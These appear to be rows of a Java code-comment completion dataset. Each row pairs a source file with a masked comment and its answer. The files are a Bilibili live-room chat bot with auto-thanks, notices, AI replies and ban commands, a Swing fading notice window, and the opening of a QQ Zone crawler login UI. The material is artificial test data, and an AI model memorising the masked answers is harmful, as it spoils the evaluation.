Map<String, Integer> gifts = tmp.get(username);
toThxGift(username, gifts);
_sleep(SEND_TIME);
userIts.remove();
}
tmp.clear();
}
}
/**
* 感谢某个用户的投喂
* @param username
* @param gifts
*/
private void toThxGift(String username, Map<String, Integer> gifts) {
if(gifts.size() <= 0) {
return;
// 1个礼物多份
} else if(gifts.size() == 1) {
Iterator<String> giftIts = gifts.keySet().iterator();
if(giftIts.hasNext()) {
String giftName = giftIts.next();
Integer num = gifts.get(giftName);
if(num != null && num > 0) {
int cost = ActivityMgr.showCost(giftName, num);
String msg = getThxMsg(username, giftName, num, cost);
XHRSender.sendDanmu(msg);
}
}
// 多个礼物多份
} else {
int cost = 0;
StringBuilder sb = new StringBuilder();
Iterator<String> giftIts = gifts.keySet().iterator();
while(giftIts.hasNext()) {
String giftName = giftIts.next();
sb.append(giftName).append(",");
cost += ActivityMgr.showCost(giftName, gifts.get(giftName));
}
sb.setLength(sb.length() - 1);
String msg = getThxMsg(username, sb.toString(), -1, cost);
XHRSender.sendDanmu(msg);
}
gifts.clear();
}
private String getThxMsg(String username, String gift, int num, int cost) {
String head = StrUtils.concat(NOTICE_KEY, "感谢[", username, "]");
String tail = "";
if(num > 0) {
tail = StrUtils.concat("投喂", gift, "x", num);
} else {
tail = StrUtils.concat("投喂[", gift, "]");
}
String adj = "";
int len = CookiesMgr.MAIN().DANMU_LEN() - head.length() - tail.length();
for(int retry = 0; retry < 3; retry++) {
adj = MsgKwMgr.getAdv();
if(len >= adj.length()) {
break;
}
}
return StrUtils.concat(head, adj, tail);
}
/**
* 定时公告
*/
private void toNotice() {
if(!isAutoNotice() || ListUtils.isEmpty(MsgKwMgr.getNotices())) {
return;
}
String msg = NOTICE_KEY.concat(
RandomUtils.genElement(MsgKwMgr.getNotices()));
XHRSender.sendDanmu(msg);
}
/**
* 分析弹幕内容, 触发不同的响应机制
* @param chatMsg
*/
public void analyseDanmu(ChatMsg chatMsg) {
if(UIUtils.isLogined() == false) {
return;
}
countChatCnt(chatMsg.getUsername()); // 登陆用户发言计数器
toAI(chatMsg.getUsername(), chatMsg.getMsg()); // 智能回复
toNight(chatMsg.getUsername(), chatMsg.getMsg()); // 自动晚安
complaint(chatMsg.getUsername(), chatMsg.getMsg()); // 举报处理
ban(chatMsg.getUsername(), chatMsg.getMsg()); // 禁言处理
}
/**
* 计算登陆用户的发言次数
* @param username 当前发言用户
*/
private void countChatCnt(String username) {
// 当是登陆用户发言时, 清空计数器
if(CookiesMgr.MAIN().NICKNAME().equals(username)) {
chatCnt = 0;
// 当是其他用户发言时, 计数器+1
} else {
chatCnt++;
}
}
/**
* 自动晚安
* @param username
* @param msg
*/
private void toNight(String username, String msg) {
if(!isAutoGoodNight() ||
msg.startsWith(NIGHT_KEY) || // 避免跟机器人对话
CookiesMgr.MAIN().NICKNAME().equals(username) || // 避免跟自己晚安
nightedUsers.contains(username)) { // 避免重复晚安
return;
}
if(MsgKwMgr.containsNight(msg)) {
String chatMsg = StrUtils.concat(NIGHT_KEY, ", ", username);
XHRSender.sendDanmu(chatMsg, UIUtils.getCurChatColor());
nightedUsers.add(username);
}
}
/**
* 自动聊天(搭载AI机器人)
* @param username
* @param msg
*/
private void toAI(String username, String msg) {
if(!isAutoReply() ||
msg.startsWith(WARN_KEY) || // 避免跟机器人对话
msg.startsWith(NOTICE_KEY) ||
msg.startsWith(NIGHT_KEY) ||
msg.startsWith(AI_KEY) ||
CookiesMgr.MAIN().NICKNAME().equals(username)) { // 避免跟自己聊天
return;
}
String aiMsg = ChatRobot.send(msg);
if(StrUtils.isNotEmpty(aiMsg)) {
String chatMsg = StrUtils.concat(AI_KEY, aiMsg);
XHRSender.sendDanmu(chatMsg, UIUtils.getCurChatColor());
}
}
/**
* 弹幕举报.
* 借登陆用户的权限执法, 登陆用户必须是当前直播间的主播或房管.
* @param username 举报人
* @param msg 弹幕(消息含被举报人)
*/
private void complaint(String username, String msg) {
if(Identity.less(Identity.ADMIN) ||
!CookiesMgr.MAIN().isRoomAdmin() ||
!msg.trim().startsWith(COMPLAINT_KEY)) {
return;
}
String accuser = username;
String unameKey = RegexUtils.findFirst(msg, COMPLAINT_KEY.concat("\\s*(.+)")).trim();
List<String> accuseds = OnlineUserMgr.getInstn().findOnlineUser(unameKey);
if(accuseds.size() <= 0) {
log.warn("用户 [{}] 举报失败: 不存在关键字为 [{}] 的账号", accuser, unameKey);
} else if(accuseds.size() > 1) {
log.warn("用户 [{}] 举报失败: 关键字为 [{}] 的账号有多个", accuser, unameKey);
} else {
String accused = accuseds.get(0);
int cnt = OnlineUserMgr.getInstn().complaint(accuser, accused);
if(cnt > 0) {
if(cnt < COMPLAINT_LIMIT) {
msg = StrUtils.concat(WARN_KEY, "x", cnt, ":请[", accused, "]注意弹幕礼仪");
} else if(XHRSender.blockUser(accused)) {
OnlineUserMgr.getInstn().cancel(accused);
msg = StrUtils.concat(WARN_KEY, "[", accused, "]被", cnt, "人举报,暂时禁言");
}
XHRSender.sendDanmu(msg);
} else {
log.warn("用户 [{}] 举报失败: 请勿重复举报 [{}]", accuser, accused);
}
}
}
/**
* 把指定用户关小黑屋.
* 借登陆用户的权限执法, 登陆用户必须是当前直播间的主播或房管.
* @param username 举报人名称(只能是房管)
* @param msg 弹幕(消息含被禁闭人)
*/
private void ban(String username, String msg) {
if(Identity.less(Identity.ADMIN) ||
!CookiesMgr.MAIN().isRoomAdmin() ||
!OnlineUserMgr.getInstn().isManager(username) ||
!msg.trim().startsWith(BAN_KEY)) {
return;
}
String managerId = OnlineUserMgr.getInstn().getManagerID(username);
String unameKey = RegexUtils.findFirst(msg, BAN_KEY.concat("\\s*(.+)")).trim();
List<String> accuseds = OnlineUserMgr.getInstn().findOnlineUser(unameKey);
if(accuseds.size() <= 0) {
msg = StrUtils.concat("【禁言失败】 不存在关键字为 [", unameKey, "] 的用户");
} else if(accuseds.size() > 1) {
msg = StrUtils.concat("【禁言失败】 关键字为 [", unameKey, "] 的用户有 [", accuseds.size(),
"] 个, 请确认其中一个用户再执行禁言: ");
for(String accused : accuseds) {
msg = StrUtils.concat(msg, "[", accused, "] ");
}
} else {
String accused = accuseds.get(0);
if(OnlineUserMgr.getInstn().isManager(accused)) {
msg = StrUtils.concat("【禁言失败】 用户 [", accused, "] 是主播/管理员");
} else if(XHRSender.blockUser(accused)) {
msg = StrUtils.concat("【禁言成功】 用户 [", accused, "] 已暂时关到小黑屋1小时");
} else {
msg = StrUtils.concat("【禁言失败】 用户 [", accused, "] 已被其他房管拖到小黑屋不可描述了");
}
}
XHRSender.sendPM(managerId, msg);
}
public void setAutoThankYou() {
autoThankYou = !autoThankYou;
userGifts.clear(); // 切换状态时, 清空已投喂的礼物列表
}
public boolean isAutoThankYou() {
return autoThankYou;
}
public void setAutoNotice() {
autoNotice = !autoNotice;
chatCnt = SCREEN_CHAT_LIMT;
}
public boolean isAutoNotice() {
return autoNotice;
}
public void setAutoGoodNight() {
autoGoodNight = !autoGoodNight;
nightedUsers.clear(); // 切换状态时, 清空已晚安的用户列表
}
public boolean isAutoGoodNight() {
return autoGoodNight;
}
public void setAutoReply() {
this.autoReply = !autoReply;
}
public boolean isAutoReply() {
return autoReply;
}
/**
* 是否允许自动发言:
* 当距离上一次发言超过同屏显示限制时,则允许自动发言
* @return
*/
private boolean allowAutoChat() {
return chatCnt >= SCREEN_CHAT_LIMT;
}
}
| EXP-Codes/bilibili-plugin | src/main/java/exp/bilibili/plugin/cache/ChatMgr.java | 5,163 | /** 举报关键字 */ | block_comment | zh-cn | package exp.bilibili.plugin.cache;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.Set;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import exp.bilibili.plugin.envm.Identity;
import exp.bilibili.plugin.utils.TimeUtils;
import exp.bilibili.plugin.utils.UIUtils;
import exp.bilibili.protocol.XHRSender;
import exp.bilibili.protocol.bean.ws.ChatMsg;
import exp.bilibili.protocol.bean.ws.SendGift;
import exp.bilibili.robot.ChatRobot;
import exp.libs.utils.other.ListUtils;
import exp.libs.utils.other.RandomUtils;
import exp.libs.utils.other.StrUtils;
import exp.libs.utils.verify.RegexUtils;
import exp.libs.warp.thread.LoopThread;
/**
* <PRE>
* 在线聊天管理器:
* 1.自动晚安
* 2.自动感谢投喂
* 3.定时公告
* 4.举报/禁言等命令检测
* </PRE>
* <br/><B>PROJECT : </B> bilibili-plugin
* <br/><B>SUPPORT : </B> <a href="http://www.exp-blog.com" target="_blank">www.exp-blog.com</a>
* @version 2017-12-17
* @author EXP: 272629724@qq.com
* @since jdk版本:jdk1.6
*/
public class ChatMgr extends LoopThread {
private final static Logger log = LoggerFactory.getLogger(ChatMgr.class);
/** 被其他人联名举报上限: 超过上限则临时关小黑屋1小时 */
private final static int COMPLAINT_LIMIT = 3;
/** 禁言关键字 */
private final static String BAN_KEY = "#禁言";
/** 举报关 <SUF>*/
private final static String COMPLAINT_KEY = "#举报";
/** 同屏可以显示的最大发言数 */
private final static int SCREEN_CHAT_LIMT = 10;
private final static String WARN_KEY = "【警告】";
private final static String NOTICE_KEY = "【公告】";
private final static String NIGHT_KEY = "晚安(´▽`)ノ ";
private final static String AI_KEY = "【AI】";
/** 同一时间可以感谢的最大用户数(避免刷屏) */
private final static int THX_USER_LIMIT = 2;
/** 发送消息间隔 */
private final static long SEND_TIME = 500;
/** 自动感谢周期 */
private final static long THX_TIME = 30000;
/** 滚屏公告周期 */
private final static long NOTICE_TIME = 300000;
/** 检测待发送消息间隔 */
private final static long SLEEP_TIME = 1000;
private final static int THX_LIMIT = (int) (THX_TIME / SLEEP_TIME);
private final static int NOTICE_LIMIT = (int) (NOTICE_TIME / SLEEP_TIME);
private int thxCnt;
private int noticeCnt;
/** 自动答谢 */
private boolean autoThankYou;
/** 自动公告 */
private boolean autoNotice;
/** 自动晚安 */
private boolean autoGoodNight;
/** 自动回复(搭载AI聊天机器人) */
private boolean autoReply;
/** 已经被晚安过的用户 */
private Set<String> nightedUsers;
/**
* 一段时间内,每个用户赠送的礼物清单.
* username -> giftName -> giftName
*/
private Map<String, Map<String, Integer>> userGifts;
/**
* 发言计数器(主要针对定时公告和自动打call)
* 当同屏存在自己的发言时,则取消本次自动发言,避免刷屏.
*/
private int chatCnt;
private static volatile ChatMgr instance;
private ChatMgr() {
super("自动发言姬");
this.thxCnt = 0;
this.noticeCnt = 0;
this.chatCnt = SCREEN_CHAT_LIMT;
this.autoThankYou = false;
this.autoNotice = false;
this.autoGoodNight = false;
this.autoReply = false;
this.nightedUsers = new HashSet<String>();
this.userGifts = new LinkedHashMap<String, Map<String, Integer>>();
}
public static ChatMgr getInstn() {
if(instance == null) {
synchronized (ChatMgr.class) {
if(instance == null) {
instance = new ChatMgr();
}
}
}
return instance;
}
private void clear() {
nightedUsers.clear();
userGifts.clear();
}
@Override
protected void _before() {
log.info("{} 已启动", getName());
}
@Override
protected void _loopRun() {
// 自动感谢礼物投喂
if(thxCnt++ >= THX_LIMIT) {
thxCnt = 0;
toThxGift();
}
// 定时公告
if(noticeCnt++ >= NOTICE_LIMIT && allowAutoChat()) {
noticeCnt = 0;
toNotice();
}
_sleep(SLEEP_TIME);
}
@Override
protected void _after() {
clear();
log.info("{} 已停止", getName());
}
/**
* 开播打招呼
* @param roomId
*/
public void helloLive(int roomId) {
if(UIUtils.isLogined() == false) {
return;
}
String card = RandomUtils.genElement(MsgKwMgr.getCards());
String msg = "滴~".concat(card);
int hour = TimeUtils.getCurHour(8); // 中国8小时时差
if(hour >= 6 && hour < 12) {
msg = msg.concat("早上好");
} else if(hour >= 12 && hour < 18) {
msg = msg.concat("下午好");
} else if(hour >= 18 && hour < 24) {
msg = msg.concat("晚上好");
} else {
msg = msg.concat("还在浪吗?");
}
XHRSender.sendDanmu(msg, roomId);
}
/**
* 房间内高能礼物感谢与中奖祝贺
* @param msg
* @return
*/
public boolean sendThxEnergy(String msg) {
boolean isOk = false;
if(isAutoThankYou()) {
isOk = XHRSender.sendDanmu(StrUtils.concat(NOTICE_KEY, msg),
UIUtils.getCurChatColor());
}
return isOk;
}
/**
* 感谢上船
* @param msg
*/
public void sendThxGuard(String msg) {
if(!isAutoThankYou()) {
return;
}
XHRSender.sendDanmu(StrUtils.concat(NOTICE_KEY, "感谢", msg),
UIUtils.getCurChatColor());
}
/**
* 添加到投喂感谢列表
* @param msgBean
*/
public void addThxGift(SendGift msgBean) {
if(!isAutoThankYou() || msgBean.getNum() <= 0) {
return;
}
String username = msgBean.getUname();
String giftName = msgBean.getGiftName();
synchronized (userGifts) {
Map<String, Integer> gifts = userGifts.get(username);
if(gifts == null) {
gifts = new HashMap<String, Integer>();
userGifts.put(username, gifts);
}
Integer sum = gifts.get(giftName);
sum = (sum == null ? 0 : sum);
gifts.put(giftName, (sum + msgBean.getNum()));
}
}
/**
* 感谢一段时间内所有用户的投喂
*/
private void toThxGift() {
Map<String, Map<String, Integer>> tmp =
new LinkedHashMap<String, Map<String,Integer>>();
synchronized (userGifts) {
tmp.putAll(userGifts);
userGifts.clear();
}
// 若短时间内投喂用户过多, 则不逐一感谢, 避免刷屏
int userNum = tmp.keySet().size();
if(userNum > THX_USER_LIMIT) {
String msg = StrUtils.concat(NOTICE_KEY, "感谢前面[", userNum,
"]个大佬的投喂d(´ω`*)");
XHRSender.sendDanmu(msg);
// 分别合并每个用户的投喂礼物再感谢
} else {
Iterator<String> userIts = tmp.keySet().iterator();
while(userIts.hasNext()) {
String username = userIts.next();
Map<String, Integer> gifts = tmp.get(username);
toThxGift(username, gifts);
_sleep(SEND_TIME);
userIts.remove();
}
tmp.clear();
}
}
/**
* 感谢某个用户的投喂
* @param username
* @param gifts
*/
private void toThxGift(String username, Map<String, Integer> gifts) {
if(gifts.size() <= 0) {
return;
// 1个礼物多份
} else if(gifts.size() == 1) {
Iterator<String> giftIts = gifts.keySet().iterator();
if(giftIts.hasNext()) {
String giftName = giftIts.next();
Integer num = gifts.get(giftName);
if(num != null && num > 0) {
int cost = ActivityMgr.showCost(giftName, num);
String msg = getThxMsg(username, giftName, num, cost);
XHRSender.sendDanmu(msg);
}
}
// 多个礼物多份
} else {
int cost = 0;
StringBuilder sb = new StringBuilder();
Iterator<String> giftIts = gifts.keySet().iterator();
while(giftIts.hasNext()) {
String giftName = giftIts.next();
sb.append(giftName).append(",");
cost += ActivityMgr.showCost(giftName, gifts.get(giftName));
}
sb.setLength(sb.length() - 1);
String msg = getThxMsg(username, sb.toString(), -1, cost);
XHRSender.sendDanmu(msg);
}
gifts.clear();
}
private String getThxMsg(String username, String gift, int num, int cost) {
String head = StrUtils.concat(NOTICE_KEY, "感谢[", username, "]");
String tail = "";
if(num > 0) {
tail = StrUtils.concat("投喂", gift, "x", num);
} else {
tail = StrUtils.concat("投喂[", gift, "]");
}
String adj = "";
int len = CookiesMgr.MAIN().DANMU_LEN() - head.length() - tail.length();
for(int retry = 0; retry < 3; retry++) {
adj = MsgKwMgr.getAdv();
if(len >= adj.length()) {
break;
}
}
return StrUtils.concat(head, adj, tail);
}
/**
* 定时公告
*/
private void toNotice() {
if(!isAutoNotice() || ListUtils.isEmpty(MsgKwMgr.getNotices())) {
return;
}
String msg = NOTICE_KEY.concat(
RandomUtils.genElement(MsgKwMgr.getNotices()));
XHRSender.sendDanmu(msg);
}
/**
* 分析弹幕内容, 触发不同的响应机制
* @param chatMsg
*/
public void analyseDanmu(ChatMsg chatMsg) {
if(UIUtils.isLogined() == false) {
return;
}
countChatCnt(chatMsg.getUsername()); // 登陆用户发言计数器
toAI(chatMsg.getUsername(), chatMsg.getMsg()); // 智能回复
toNight(chatMsg.getUsername(), chatMsg.getMsg()); // 自动晚安
complaint(chatMsg.getUsername(), chatMsg.getMsg()); // 举报处理
ban(chatMsg.getUsername(), chatMsg.getMsg()); // 禁言处理
}
/**
* 计算登陆用户的发言次数
* @param username 当前发言用户
*/
private void countChatCnt(String username) {
// 当是登陆用户发言时, 清空计数器
if(CookiesMgr.MAIN().NICKNAME().equals(username)) {
chatCnt = 0;
// 当是其他用户发言时, 计数器+1
} else {
chatCnt++;
}
}
/**
* 自动晚安
* @param username
* @param msg
*/
private void toNight(String username, String msg) {
if(!isAutoGoodNight() ||
msg.startsWith(NIGHT_KEY) || // 避免跟机器人对话
CookiesMgr.MAIN().NICKNAME().equals(username) || // 避免跟自己晚安
nightedUsers.contains(username)) { // 避免重复晚安
return;
}
if(MsgKwMgr.containsNight(msg)) {
String chatMsg = StrUtils.concat(NIGHT_KEY, ", ", username);
XHRSender.sendDanmu(chatMsg, UIUtils.getCurChatColor());
nightedUsers.add(username);
}
}
/**
* 自动聊天(搭载AI机器人)
* @param username
* @param msg
*/
private void toAI(String username, String msg) {
if(!isAutoReply() ||
msg.startsWith(WARN_KEY) || // 避免跟机器人对话
msg.startsWith(NOTICE_KEY) ||
msg.startsWith(NIGHT_KEY) ||
msg.startsWith(AI_KEY) ||
CookiesMgr.MAIN().NICKNAME().equals(username)) { // 避免跟自己聊天
return;
}
String aiMsg = ChatRobot.send(msg);
if(StrUtils.isNotEmpty(aiMsg)) {
String chatMsg = StrUtils.concat(AI_KEY, aiMsg);
XHRSender.sendDanmu(chatMsg, UIUtils.getCurChatColor());
}
}
/**
* 弹幕举报.
* 借登陆用户的权限执法, 登陆用户必须是当前直播间的主播或房管.
* @param username 举报人
* @param msg 弹幕(消息含被举报人)
*/
private void complaint(String username, String msg) {
if(Identity.less(Identity.ADMIN) ||
!CookiesMgr.MAIN().isRoomAdmin() ||
!msg.trim().startsWith(COMPLAINT_KEY)) {
return;
}
String accuser = username;
String unameKey = RegexUtils.findFirst(msg, COMPLAINT_KEY.concat("\\s*(.+)")).trim();
List<String> accuseds = OnlineUserMgr.getInstn().findOnlineUser(unameKey);
if(accuseds.size() <= 0) {
log.warn("用户 [{}] 举报失败: 不存在关键字为 [{}] 的账号", accuser, unameKey);
} else if(accuseds.size() > 1) {
log.warn("用户 [{}] 举报失败: 关键字为 [{}] 的账号有多个", accuser, unameKey);
} else {
String accused = accuseds.get(0);
int cnt = OnlineUserMgr.getInstn().complaint(accuser, accused);
if(cnt > 0) {
if(cnt < COMPLAINT_LIMIT) {
msg = StrUtils.concat(WARN_KEY, "x", cnt, ":请[", accused, "]注意弹幕礼仪");
} else if(XHRSender.blockUser(accused)) {
OnlineUserMgr.getInstn().cancel(accused);
msg = StrUtils.concat(WARN_KEY, "[", accused, "]被", cnt, "人举报,暂时禁言");
}
XHRSender.sendDanmu(msg);
} else {
log.warn("用户 [{}] 举报失败: 请勿重复举报 [{}]", accuser, accused);
}
}
}
/**
* 把指定用户关小黑屋.
* 借登陆用户的权限执法, 登陆用户必须是当前直播间的主播或房管.
* @param username 举报人名称(只能是房管)
* @param msg 弹幕(消息含被禁闭人)
*/
private void ban(String username, String msg) {
if(Identity.less(Identity.ADMIN) ||
!CookiesMgr.MAIN().isRoomAdmin() ||
!OnlineUserMgr.getInstn().isManager(username) ||
!msg.trim().startsWith(BAN_KEY)) {
return;
}
String managerId = OnlineUserMgr.getInstn().getManagerID(username);
String unameKey = RegexUtils.findFirst(msg, BAN_KEY.concat("\\s*(.+)")).trim();
List<String> accuseds = OnlineUserMgr.getInstn().findOnlineUser(unameKey);
if(accuseds.size() <= 0) {
msg = StrUtils.concat("【禁言失败】 不存在关键字为 [", unameKey, "] 的用户");
} else if(accuseds.size() > 1) {
msg = StrUtils.concat("【禁言失败】 关键字为 [", unameKey, "] 的用户有 [", accuseds.size(),
"] 个, 请确认其中一个用户再执行禁言: ");
for(String accused : accuseds) {
msg = StrUtils.concat(msg, "[", accused, "] ");
}
} else {
String accused = accuseds.get(0);
if(OnlineUserMgr.getInstn().isManager(accused)) {
msg = StrUtils.concat("【禁言失败】 用户 [", accused, "] 是主播/管理员");
} else if(XHRSender.blockUser(accused)) {
msg = StrUtils.concat("【禁言成功】 用户 [", accused, "] 已暂时关到小黑屋1小时");
} else {
msg = StrUtils.concat("【禁言失败】 用户 [", accused, "] 已被其他房管拖到小黑屋不可描述了");
}
}
XHRSender.sendPM(managerId, msg);
}
public void setAutoThankYou() {
autoThankYou = !autoThankYou;
userGifts.clear(); // 切换状态时, 清空已投喂的礼物列表
}
public boolean isAutoThankYou() {
return autoThankYou;
}
public void setAutoNotice() {
autoNotice = !autoNotice;
chatCnt = SCREEN_CHAT_LIMT;
}
public boolean isAutoNotice() {
return autoNotice;
}
public void setAutoGoodNight() {
autoGoodNight = !autoGoodNight;
nightedUsers.clear(); // 切换状态时, 清空已晚安的用户列表
}
public boolean isAutoGoodNight() {
return autoGoodNight;
}
public void setAutoReply() {
this.autoReply = !autoReply;
}
public boolean isAutoReply() {
return autoReply;
}
/**
* 是否允许自动发言:
* 当距离上一次发言超过同屏显示限制时,则允许自动发言
* @return
*/
private boolean allowAutoChat() {
return chatCnt >= SCREEN_CHAT_LIMT;
}
}
| 1 | 12 | 1 |
50426_10 | package exp.libs.ui.cpt.win;
import exp.libs.utils.concurrent.ThreadUtils;
/**
* <PRE>
* swing右下角通知窗口
* (使用_show方法显示窗体, 可触发自动渐隐消失)
* </PRE>
* <br/><B>PROJECT : </B> exp-libs
* <br/><B>SUPPORT : </B> <a href="https://exp-blog.com" target="_blank">https://exp-blog.com</a>
* @version 2022-03-06
* @author EXP: exp.lqb@foxmail.com
* @since JDK 1.8+
*/
@SuppressWarnings("serial")
public abstract class NoticeWindow extends PopChildWindow implements Runnable {
private Thread _this;
private boolean isRun = false;
protected NoticeWindow() {
super("NoticeWindow");
}
protected NoticeWindow(String name) {
super(name);
}
protected NoticeWindow(String name, int width, int height) {
super(name, width, height);
}
protected NoticeWindow(String name, int width, int height, boolean relative) {
super(name, width, height, relative);
}
protected NoticeWindow(String name, int width, int height, boolean relative, Object... args) {
super(name, width, height, relative, args);
}
@Override
protected int LOCATION() {
return LOCATION_RB; // 出现坐标为右下角
}
@Override
protected boolean WIN_ON_TOP() {
return true; // 设置窗口置顶
}
/**
* 以渐隐方式显示通知消息
*/
@Override
protected final void AfterView() {
if(isRun == false) {
isRun = true;
_this = new Thread(this);
_this.start(); // 渐隐窗体
}
}
@Deprecated
@Override
protected final void beforeHide() {
// Undo
}
@Override
public void run() {
ThreadUtils.tSleep(2000); // 悬停2秒
// 透明度渐隐(大约持续3秒)
for(float opacity = 100; opacity > 0; opacity -= 2) {
this.setOpacity(opacity / 100); // 设置透明度
ThreadUtils.tSleep(60);
if(isVisible() == false) {
break; // 窗体被提前销毁了(手工点了X)
}
}
_hide(); // 销毁窗体
}
/**
* 阻塞等待渐隐关闭过程
*/
public void _join() {
if(_this == null) {
return;
}
try {
_this.join();
} catch (Exception e) {}
}
}
| EXP-Codes/exp-libs-refactor | exp-libs-ui/src/main/java/exp/libs/ui/cpt/win/NoticeWindow.java | 724 | // 销毁窗体 | line_comment | zh-cn | package exp.libs.ui.cpt.win;
import exp.libs.utils.concurrent.ThreadUtils;
/**
* <PRE>
* swing右下角通知窗口
* (使用_show方法显示窗体, 可触发自动渐隐消失)
* </PRE>
* <br/><B>PROJECT : </B> exp-libs
* <br/><B>SUPPORT : </B> <a href="https://exp-blog.com" target="_blank">https://exp-blog.com</a>
* @version 2022-03-06
* @author EXP: exp.lqb@foxmail.com
* @since JDK 1.8+
*/
@SuppressWarnings("serial")
public abstract class NoticeWindow extends PopChildWindow implements Runnable {
private Thread _this;
private boolean isRun = false;
protected NoticeWindow() {
super("NoticeWindow");
}
protected NoticeWindow(String name) {
super(name);
}
protected NoticeWindow(String name, int width, int height) {
super(name, width, height);
}
protected NoticeWindow(String name, int width, int height, boolean relative) {
super(name, width, height, relative);
}
protected NoticeWindow(String name, int width, int height, boolean relative, Object... args) {
super(name, width, height, relative, args);
}
@Override
protected int LOCATION() {
return LOCATION_RB; // 出现坐标为右下角
}
@Override
protected boolean WIN_ON_TOP() {
return true; // 设置窗口置顶
}
/**
* 以渐隐方式显示通知消息
*/
@Override
protected final void AfterView() {
if(isRun == false) {
isRun = true;
_this = new Thread(this);
_this.start(); // 渐隐窗体
}
}
@Deprecated
@Override
protected final void beforeHide() {
// Undo
}
@Override
public void run() {
ThreadUtils.tSleep(2000); // 悬停2秒
// 透明度渐隐(大约持续3秒)
for(float opacity = 100; opacity > 0; opacity -= 2) {
this.setOpacity(opacity / 100); // 设置透明度
ThreadUtils.tSleep(60);
if(isVisible() == false) {
break; // 窗体被提前销毁了(手工点了X)
}
}
_hide(); // 销毁 <SUF>
}
/**
* 阻塞等待渐隐关闭过程
*/
public void _join() {
if(_this == null) {
return;
}
try {
_this.join();
} catch (Exception e) {}
}
}
| 1 | 7 | 1 |
39006_16 | package exp.crawler.qq.ui;
import java.awt.BorderLayout;
import java.awt.Color;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.KeyEvent;
import java.awt.event.KeyListener;
import java.util.List;
import javax.swing.JButton;
import javax.swing.JPanel;
import javax.swing.JPasswordField;
import javax.swing.JRadioButton;
import javax.swing.JScrollPane;
import javax.swing.JTextArea;
import javax.swing.JTextField;
import org.jb2011.lnf.beautyeye.ch3_button.BEButtonUI.NormalColor;
import exp.crawler.qq.Config;
import exp.crawler.qq.cache.Browser;
import exp.crawler.qq.core.interfaze.BaseAlbumAnalyzer;
import exp.crawler.qq.core.interfaze.BaseLander;
import exp.crawler.qq.core.interfaze.BaseMoodAnalyzer;
import exp.crawler.qq.monitor.SafetyMonitor;
import exp.crawler.qq.utils.UIUtils;
import exp.libs.envm.Charset;
import exp.libs.utils.encode.CryptoUtils;
import exp.libs.utils.io.FileUtils;
import exp.libs.utils.other.StrUtils;
import exp.libs.warp.net.webkit.WebDriverType;
import exp.libs.warp.thread.ThreadPool;
import exp.libs.warp.ui.BeautyEyeUtils;
import exp.libs.warp.ui.SwingUtils;
import exp.libs.warp.ui.cpt.win.MainWindow;
/**
* <PRE>
* QQ空间爬虫主界面
* </PRE>
* <br/><B>PROJECT : </B> qzone-crawler
* <br/><B>SUPPORT : </B> <a href="http://www.exp-blog.com" target="_blank">www.exp-blog.com</a>
* @version 2017-12-17
* @author EXP: 272629724@qq.com
* @since jdk版本:jdk1.6
*/
public class AppUI extends MainWindow {
/** 唯一序列号 */
private static final long serialVersionUID = -7825507638221203671L;
/** 界面宽度 */
private final static int WIDTH = 750;
/** 界面高度 */
private final static int HEIGHT = 600;
/** 界面文本框最大缓存行数 */
private final static int MAX_LINE = 500;
/** 换行符 */
private final static String LINE_END = "\r\n";
/** 登陆说明 */
private final static String LOGIN_DESC = "登陆 QQ 空间";
/** 注销登陆说明 */
private final static String LOGOUT_DESC = "注销";
/** 爬取数据的目标QQ号输入框 */
private JTextField qqTF;
/** QQ登陆账号输入框 */
private JTextField unTF;
/** QQ登陆密码输入框 */
private JPasswordField pwTF;
/**
* 【WEB模式】选项.
* XHR模式为后端爬虫模式(默认)
* WEB模式为前端仿真模式
*/
private JRadioButton webBtn;
/** 【记住登陆信息】选项 */
private JRadioButton rememberBtn;
/** 登陆按钮 */
private JButton loginBtn;
/** 是否登陆成功 */
private boolean isLogin;
/** 【相册】爬取按钮 */
private JButton albumBtn;
/** 【说说】爬取按钮 */
private JButton moodBtn;
/** 日志输出区 */
private JTextArea consoleTA;
/** 线程池 */
private ThreadPool tp;
/** 单例 */
private static volatile AppUI instance;
/**
* 构造函数
*/
private AppUI() {
super("QQ空间爬虫 - By EXP (QQ:272629724)", WIDTH, HEIGHT);
}
/**
* 创建实例
* @param args main入参
*/
public static void createInstn(String[] args) {
getInstn();
}
/**
* 获取单例
* @return
*/
public static AppUI getInstn() {
if(instance == null) {
synchronized (AppUI.class) {
if(instance == null) {
instance = new AppUI();
instance.setMini(TO_MINI);
}
}
}
return instance;
}
@Override
protected void initComponents(Object... args) {
this.qqTF = new JTextField("");
this.unTF = new JTextField("");
this.pwTF = new JPasswordField("");
qqTF.setToolTipText("需要爬取数据的目标QQ号");
unTF.setToolTipText("请确保此QQ具有查看对方空间权限 (不负责权限破解)");
pwTF.setToolTipText("此软件不盗号, 不放心勿用");
this.webBtn = new JRadioButton("web模式");
this.rememberBtn = new JRadioButton("记住我");
if(recoveryLoginInfo()) {
rememberBtn.setSelected(true);
}
this.loginBtn = new JButton(LOGIN_DESC);
this.albumBtn = new JButton("爬取【空间相册】图文数据");
this.moodBtn = new JButton("爬取【空间说说】图文数据");
albumBtn.setEnabled(false);
moodBtn.setEnabled(false);
BeautyEyeUtils.setButtonStyle(NormalColor.green, loginBtn);
BeautyEyeUtils.setButtonStyle(NormalColor.lightBlue, albumBtn);
BeautyEyeUtils.setButtonStyle(NormalColor.lightBlue, moodBtn);
loginBtn.setForeground(Color.BLACK);
albumBtn.setForeground(Color.BLACK);
moodBtn.setForeground(Color.BLACK);
this.consoleTA = new JTextArea();
consoleTA.setEditable(false);
this.isLogin = false;
this.tp = new ThreadPool(10);
}
@Override
protected void setComponentsLayout(JPanel rootPanel) {
rootPanel.add(getCtrlPanel(), BorderLayout.NORTH);
rootPanel.add(getConsolePanel(), BorderLayout.CENTER);
}
private JPanel getCtrlPanel() {
JPanel panel = SwingUtils.getVGridPanel(
SwingUtils.getPairsPanel("QQ账号", unTF),
SwingUtils.getPairsPanel("QQ密码", pwTF),
SwingUtils.getPairsPanel("目标QQ", qqTF),
SwingUtils.getEBorderPanel(loginBtn, SwingUtils.addBorder(
SwingUtils.getHGridPanel(webBtn, rememberBtn))),
SwingUtils.getHGridPanel(albumBtn, moodBtn)
);
SwingUtils.addBorder(panel, "control");
return panel;
}
private JScrollPane getConsolePanel() {
JScrollPane scollPanel = SwingUtils.addAutoScroll(consoleTA);
SwingUtils.addBorder(scollPanel, "console");
